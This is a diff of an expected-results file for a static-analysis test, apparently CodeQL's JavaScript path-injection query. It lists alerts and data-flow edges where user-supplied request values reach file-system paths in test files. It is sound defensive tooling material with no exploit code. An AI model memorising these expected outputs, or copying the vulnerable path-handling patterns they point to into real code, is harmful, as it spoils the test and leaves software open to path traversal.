+| normalizedPaths.js:250:21:250:24 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:250:21:250:24 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
+| normalizedPaths.js:256:19:256:22 | path | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:256:19:256:22 | path | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:262:21:262:24 | path | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:262:21:262:24 | path | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:270:21:270:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:270:21:270:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:278:21:278:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:278:21:278:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:286:21:286:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:286:21:286:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:296:21:296:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:296:21:296:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
+| normalizedPaths.js:304:18:304:21 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:304:18:304:21 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:309:19:309:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:309:19:309:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:313:19:313:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:313:19:313:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:316:19:316:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:316:19:316:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:325:19:325:32 | normalizedPath | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:325:19:325:32 | normalizedPath | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:332:19:332:32 | normalizedPath | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:332:19:332:32 | normalizedPath | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
+| normalizedPaths.js:341:18:341:21 | path | normalizedPaths.js:339:32:339:45 | req.query.path | normalizedPaths.js:341:18:341:21 | path | This path depends on a $@. | normalizedPaths.js:339:32:339:45 | req.query.path | user-provided value |
+| normalizedPaths.js:346:19:346:22 | path | normalizedPaths.js:339:32:339:45 | req.query.path | normalizedPaths.js:346:19:346:22 | path | This path depends on a $@. | normalizedPaths.js:339:32:339:45 | req.query.path | user-provided value |
+| normalizedPaths.js:356:19:356:22 | path | normalizedPaths.js:354:14:354:27 | req.query.path | normalizedPaths.js:356:19:356:22 | path | This path depends on a $@. | normalizedPaths.js:354:14:354:27 | req.query.path | user-provided value |
+| normalizedPaths.js:363:21:363:31 | requestPath | normalizedPaths.js:354:14:354:27 | req.query.path | normalizedPaths.js:363:21:363:31 | requestPath | This path depends on a $@. | normalizedPaths.js:354:14:354:27 | req.query.path | user-provided value |
+| normalizedPaths.js:379:19:379:22 | path | normalizedPaths.js:377:14:377:27 | req.query.path | normalizedPaths.js:379:19:379:22 | path | This path depends on a $@. | normalizedPaths.js:377:14:377:27 | req.query.path | user-provided value |
+| normalizedPaths.js:381:19:381:29 | slash(path) | normalizedPaths.js:377:14:377:27 | req.query.path | normalizedPaths.js:381:19:381:29 | slash(path) | This path depends on a $@. | normalizedPaths.js:377:14:377:27 | req.query.path | user-provided value |
+| normalizedPaths.js:388:19:388:22 | path | normalizedPaths.js:385:35:385:45 | req.query.x | normalizedPaths.js:388:19:388:22 | path | This path depends on a $@. | normalizedPaths.js:385:35:385:45 | req.query.x | user-provided value |
+| normalizedPaths.js:399:21:399:24 | path | normalizedPaths.js:385:35:385:45 | req.query.x | normalizedPaths.js:399:21:399:24 | path | This path depends on a $@. | normalizedPaths.js:385:35:385:45 | req.query.x | user-provided value |
+| normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | normalizedPaths.js:407:45:407:55 | req.query.x | normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | This path depends on a $@. | normalizedPaths.js:407:45:407:55 | req.query.x | user-provided value |
+| normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | normalizedPaths.js:408:38:408:48 | req.query.x | normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | This path depends on a $@. | normalizedPaths.js:408:38:408:48 | req.query.x | user-provided value |
+| normalizedPaths.js:415:19:415:22 | path | normalizedPaths.js:412:35:412:45 | req.query.x | normalizedPaths.js:415:19:415:22 | path | This path depends on a $@. | normalizedPaths.js:412:35:412:45 | req.query.x | user-provided value |
+| normalizedPaths.js:426:21:426:24 | path | normalizedPaths.js:412:35:412:45 | req.query.x | normalizedPaths.js:426:21:426:24 | path | This path depends on a $@. | normalizedPaths.js:412:35:412:45 | req.query.x | user-provided value |
+| other-fs-libraries.js:11:19:11:22 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:11:19:11:22 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:12:27:12:30 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:12:27:12:30 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:13:24:13:27 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:13:24:13:27 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:14:27:14:30 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:14:27:14:30 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:16:34:16:37 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:16:34:16:37 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:17:35:17:38 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:17:35:17:38 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:19:56:19:59 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:19:56:19:59 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:24:35:24:38 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:24:35:24:38 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
+| other-fs-libraries.js:40:35:40:38 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:40:35:40:38 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
+| other-fs-libraries.js:41:50:41:53 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:41:50:41:53 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
+| other-fs-libraries.js:42:53:42:56 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:42:53:42:56 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
+| other-fs-libraries.js:51:19:51:22 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:51:19:51:22 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:52:24:52:27 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:52:24:52:27 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:54:36:54:39 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:54:36:54:39 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:55:36:55:39 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:55:36:55:39 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:57:46:57:49 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:57:46:57:49 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:59:39:59:42 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:59:39:59:42 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:62:43:62:46 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:62:43:62:46 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:63:51:63:54 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:63:51:63:54 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
+| other-fs-libraries.js:70:19:70:22 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:70:19:70:22 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
+| other-fs-libraries.js:71:10:71:13 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:71:10:71:13 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
+| other-fs-libraries.js:72:15:72:18 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:72:15:72:18 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
+| other-fs-libraries.js:76:19:76:19 | x | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:76:19:76:19 | x | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
+| other-fs-libraries.js:83:16:83:19 | path | other-fs-libraries.js:81:24:81:30 | req.url | other-fs-libraries.js:83:16:83:19 | path | This path depends on a $@. | other-fs-libraries.js:81:24:81:30 | req.url | user-provided value |
+| prettier.js:7:28:7:28 | p | prettier.js:6:13:6:13 | p | prettier.js:7:28:7:28 | p | This path depends on a $@. | prettier.js:6:13:6:13 | p | user-provided value |
+| prettier.js:11:44:11:44 | p | prettier.js:6:13:6:13 | p | prettier.js:11:44:11:44 | p | This path depends on a $@. | prettier.js:6:13:6:13 | p | user-provided value |
+| pupeteer.js:9:28:9:34 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:9:28:9:34 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value |
+| pupeteer.js:13:37:13:43 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:13:37:13:43 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value |
+| sharedlib-repro.js:22:18:22:25 | filepath | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | sharedlib-repro.js:22:18:22:25 | filepath | This path depends on a $@. | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | user-provided value |
+| tainted-access-paths.js:8:19:8:22 | path | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:8:19:8:22 | path | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:12:19:12:25 | obj.sub | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:12:19:12:25 | obj.sub | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:26:19:26:26 | obj.sub3 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:26:19:26:26 | obj.sub3 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:29:21:29:28 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:29:21:29:28 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:30:23:30:30 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:30:23:30:30 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:31:23:31:30 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:31:23:31:30 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
+| tainted-access-paths.js:40:23:40:26 | path | tainted-access-paths.js:39:24:39:30 | req.url | tainted-access-paths.js:40:23:40:26 | path | This path depends on a $@. | tainted-access-paths.js:39:24:39:30 | req.url | user-provided value |
+| tainted-access-paths.js:49:10:49:13 | path | tainted-access-paths.js:48:24:48:30 | req.url | tainted-access-paths.js:49:10:49:13 | path | This path depends on a $@. | tainted-access-paths.js:48:24:48:30 | req.url | user-provided value |
+| tainted-promise-steps.js:11:19:11:35 | await pathPromise | tainted-promise-steps.js:6:24:6:30 | req.url | tainted-promise-steps.js:11:19:11:35 | await pathPromise | This path depends on a $@. | tainted-promise-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-promise-steps.js:12:44:12:47 | path | tainted-promise-steps.js:6:24:6:30 | req.url | tainted-promise-steps.js:12:44:12:47 | path | This path depends on a $@. | tainted-promise-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-require.js:6:19:6:37 | req.param("module") | tainted-require.js:6:19:6:37 | req.param("module") | tainted-require.js:6:19:6:37 | req.param("module") | This path depends on a $@. | tainted-require.js:6:19:6:37 | req.param("module") | user-provided value |
+| tainted-require.js:11:29:11:47 | req.param("module") | tainted-require.js:11:29:11:47 | req.param("module") | tainted-require.js:11:29:11:47 | req.param("module") | This path depends on a $@. | tainted-require.js:11:29:11:47 | req.param("module") | user-provided value |
+| tainted-require.js:13:11:13:29 | req.param("module") | tainted-require.js:13:11:13:29 | req.param("module") | tainted-require.js:13:11:13:29 | req.param("module") | This path depends on a $@. | tainted-require.js:13:11:13:29 | req.param("module") | user-provided value |
+| tainted-sendFile.js:7:16:7:33 | req.param("gimme") | tainted-sendFile.js:7:16:7:33 | req.param("gimme") | tainted-sendFile.js:7:16:7:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:7:16:7:33 | req.param("gimme") | user-provided value |
+| tainted-sendFile.js:8:16:8:33 | req.param("gimme") | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | user-provided value |
+| tainted-sendFile.js:15:43:15:58 | req.param("dir") | tainted-sendFile.js:15:43:15:58 | req.param("dir") | tainted-sendFile.js:15:43:15:58 | req.param("dir") | This path depends on a $@. | tainted-sendFile.js:15:43:15:58 | req.param("dir") | user-provided value |
+| tainted-sendFile.js:21:16:21:49 | path.re ... rams.x) | tainted-sendFile.js:21:37:21:48 | req.params.x | tainted-sendFile.js:21:16:21:49 | path.re ... rams.x) | This path depends on a $@. | tainted-sendFile.js:21:37:21:48 | req.params.x | user-provided value |
+| tainted-sendFile.js:22:16:22:46 | path.jo ... rams.x) | tainted-sendFile.js:22:34:22:45 | req.params.x | tainted-sendFile.js:22:16:22:46 | path.jo ... rams.x) | This path depends on a $@. | tainted-sendFile.js:22:34:22:45 | req.params.x | user-provided value |
+| tainted-sendFile.js:26:16:26:33 | req.param("gimme") | tainted-sendFile.js:26:16:26:33 | req.param("gimme") | tainted-sendFile.js:26:16:26:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:26:16:26:33 | req.param("gimme") | user-provided value |
+| tainted-sendFile.js:28:16:28:48 | homeDir ... arams.x | tainted-sendFile.js:28:37:28:48 | req.params.x | tainted-sendFile.js:28:16:28:48 | homeDir ... arams.x | This path depends on a $@. | tainted-sendFile.js:28:37:28:48 | req.params.x | user-provided value |
+| tainted-sendFile.js:30:16:30:46 | path.jo ... rams.x) | tainted-sendFile.js:30:34:30:45 | req.params.x | tainted-sendFile.js:30:16:30:46 | path.jo ... rams.x) | This path depends on a $@. | tainted-sendFile.js:30:34:30:45 | req.params.x | user-provided value |
+| tainted-sendFile.js:32:43:32:58 | req.param("dir") | tainted-sendFile.js:32:43:32:58 | req.param("dir") | tainted-sendFile.js:32:43:32:58 | req.param("dir") | This path depends on a $@. | tainted-sendFile.js:32:43:32:58 | req.param("dir") | user-provided value |
+| tainted-string-steps.js:8:18:8:34 | path.substring(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:8:18:8:34 | path.substring(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:10:18:10:31 | path.substr(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:10:18:10:31 | path.substr(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:11:18:11:30 | path.slice(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:11:18:11:30 | path.slice(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:15:18:15:46 | unknown ... , path) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:15:18:15:46 | unknown ... , path) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:17:18:17:28 | path.trim() | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:17:18:17:28 | path.trim() | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| tainted-string-steps.js:27:18:27:36 | path.split(unknown) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:27:18:27:36 | path.split(unknown) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
+| torrents.js:7:25:7:27 | loc | torrents.js:5:13:5:38 | parseTo ... t).name | torrents.js:7:25:7:27 | loc | This path depends on a $@. | torrents.js:5:13:5:38 | parseTo ... t).name | user-provided value |
+| typescript.ts:11:29:11:32 | path | typescript.ts:9:24:9:30 | req.url | typescript.ts:11:29:11:32 | path | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
+| typescript.ts:20:39:20:43 | path3 | typescript.ts:9:24:9:30 | req.url | typescript.ts:20:39:20:43 | path3 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
+| typescript.ts:23:39:23:43 | path4 | typescript.ts:9:24:9:30 | req.url | typescript.ts:23:39:23:43 | path4 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
+| typescript.ts:31:29:31:33 | path6 | typescript.ts:9:24:9:30 | req.url | typescript.ts:31:29:31:33 | path6 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
+| views.js:1:43:1:55 | req.params[0] | views.js:1:43:1:55 | req.params[0] | views.js:1:43:1:55 | req.params[0] | This path depends on a $@. | views.js:1:43:1:55 | req.params[0] | user-provided value |
 edges
-| TaintedPath-es6.js:7:7:7:44 | path | TaintedPath-es6.js:10:41:10:44 | path | provenance |  |
+| TaintedPath-es6.js:7:7:7:44 | path | TaintedPath-es6.js:9:41:9:44 | path | provenance |  |
 | TaintedPath-es6.js:7:14:7:33 | parse(req.url, true) | TaintedPath-es6.js:7:14:7:39 | parse(r ... ).query | provenance | Config |
 | TaintedPath-es6.js:7:14:7:39 | parse(r ... ).query | TaintedPath-es6.js:7:14:7:44 | parse(r ... ry.path | provenance | Config |
 | TaintedPath-es6.js:7:14:7:44 | parse(r ... ry.path | TaintedPath-es6.js:7:7:7:44 | path | provenance |  |
 | TaintedPath-es6.js:7:20:7:26 | req.url | TaintedPath-es6.js:7:14:7:33 | parse(req.url, true) | provenance | Config |
-| TaintedPath-es6.js:10:41:10:44 | path | TaintedPath-es6.js:10:26:10:45 | join("public", path) | provenance | Config |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:12:29:12:32 | path | provenance |  |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:15:45:15:48 | path | provenance |  |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:18:33:18:36 | path | provenance |  |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:21:33:21:36 | path | provenance |  |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:24:33:24:36 | path | provenance |  |
-| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:33:31:33:34 | path | provenance |  |
+| TaintedPath-es6.js:9:41:9:44 | path | TaintedPath-es6.js:9:26:9:45 | join("public", path) | provenance | Config |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:11:29:11:32 | path | provenance |  |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:13:45:13:48 | path | provenance |  |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:16:33:16:36 | path | provenance |  |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:19:33:19:36 | path | provenance |  |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:22:33:22:36 | path | provenance |  |
+| TaintedPath.js:9:7:9:48 | path | TaintedPath.js:31:31:31:34 | path | provenance |  |
 | TaintedPath.js:9:14:9:37 | url.par ... , true) | TaintedPath.js:9:14:9:43 | url.par ... ).query | provenance | Config |
 | TaintedPath.js:9:14:9:43 | url.par ... ).query | TaintedPath.js:9:14:9:48 | url.par ... ry.path | provenance | Config |
 | TaintedPath.js:9:14:9:48 | url.par ... ry.path | TaintedPath.js:9:7:9:48 | path | provenance |  |
 | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:9:14:9:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:15:45:15:48 | path | TaintedPath.js:15:29:15:48 | "/home/user/" + path | provenance | Config |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:42:48:42:51 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:46:45:46:48 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:48:51:48:54 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:50:50:50:53 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:52:52:52:55 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:54:49:54:52 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:56:48:56:51 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:58:54:58:57 | path | provenance |  |
-| TaintedPath.js:38:3:38:44 | path | TaintedPath.js:60:57:60:60 | path | provenance |  |
-| TaintedPath.js:38:10:38:33 | url.par ... , true) | TaintedPath.js:38:10:38:39 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:38:10:38:39 | url.par ... ).query | TaintedPath.js:38:10:38:44 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:38:10:38:44 | url.par ... ry.path | TaintedPath.js:38:3:38:44 | path | provenance |  |
-| TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:38:10:38:33 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:42:48:42:51 | path | TaintedPath.js:42:29:42:52 | pathMod ... e(path) | provenance | Config |
-| TaintedPath.js:46:45:46:48 | path | TaintedPath.js:46:29:46:49 | pathMod ... n(path) | provenance | Config |
-| TaintedPath.js:48:51:48:54 | path | TaintedPath.js:48:29:48:58 | pathMod ... ath, z) | provenance | Config |
-| TaintedPath.js:50:50:50:53 | path | TaintedPath.js:50:29:50:54 | pathMod ... e(path) | provenance | Config |
-| TaintedPath.js:52:52:52:55 | path | TaintedPath.js:52:29:52:56 | pathMod ... , path) | provenance | Config |
-| TaintedPath.js:54:49:54:52 | path | TaintedPath.js:54:29:54:56 | pathMod ... ath, x) | provenance | Config |
-| TaintedPath.js:56:48:56:51 | path | TaintedPath.js:56:29:56:52 | pathMod ... e(path) | provenance | Config |
-| TaintedPath.js:58:54:58:57 | path | TaintedPath.js:58:29:58:61 | pathMod ... ath, z) | provenance | Config |
-| TaintedPath.js:60:57:60:60 | path | TaintedPath.js:60:29:60:61 | pathMod ... h(path) | provenance | Config |
-| TaintedPath.js:65:31:65:70 | require ... eq.url) | TaintedPath.js:65:31:65:76 | require ... ).query | provenance | Config |
-| TaintedPath.js:65:63:65:69 | req.url | TaintedPath.js:65:31:65:70 | require ... eq.url) | provenance | Config |
-| TaintedPath.js:66:31:66:68 | require ... eq.url) | TaintedPath.js:66:31:66:74 | require ... ).query | provenance | Config |
-| TaintedPath.js:66:61:66:67 | req.url | TaintedPath.js:66:31:66:68 | require ... eq.url) | provenance | Config |
-| TaintedPath.js:67:31:67:67 | require ... eq.url) | TaintedPath.js:67:31:67:73 | require ... ).query | provenance | Config |
-| TaintedPath.js:67:60:67:66 | req.url | TaintedPath.js:67:31:67:67 | require ... eq.url) | provenance | Config |
-| TaintedPath.js:84:6:84:47 | path | TaintedPath.js:86:44:86:47 | path | provenance |  |
-| TaintedPath.js:84:6:84:47 | path | TaintedPath.js:87:14:87:17 | path | provenance |  |
-| TaintedPath.js:84:13:84:36 | url.par ... , true) | TaintedPath.js:84:13:84:42 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:84:13:84:42 | url.par ... ).query | TaintedPath.js:84:13:84:47 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:84:13:84:47 | url.par ... ry.path | TaintedPath.js:84:6:84:47 | path | provenance |  |
-| TaintedPath.js:84:23:84:29 | req.url | TaintedPath.js:84:13:84:36 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:86:44:86:47 | path | TaintedPath.js:86:28:86:48 | fs.real ... c(path) | provenance | Config |
-| TaintedPath.js:87:14:87:17 | path | TaintedPath.js:88:32:88:39 | realpath | provenance | Config |
-| TaintedPath.js:88:32:88:39 | realpath | TaintedPath.js:89:45:89:52 | realpath | provenance |  |
-| TaintedPath.js:120:6:120:47 | path | TaintedPath.js:122:23:122:26 | path | provenance |  |
-| TaintedPath.js:120:13:120:36 | url.par ... , true) | TaintedPath.js:120:13:120:42 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:120:13:120:42 | url.par ... ).query | TaintedPath.js:120:13:120:47 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:120:13:120:47 | url.par ... ry.path | TaintedPath.js:120:6:120:47 | path | provenance |  |
-| TaintedPath.js:120:23:120:29 | req.url | TaintedPath.js:120:13:120:36 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:126:7:126:48 | path | TaintedPath.js:128:19:128:22 | path | provenance |  |
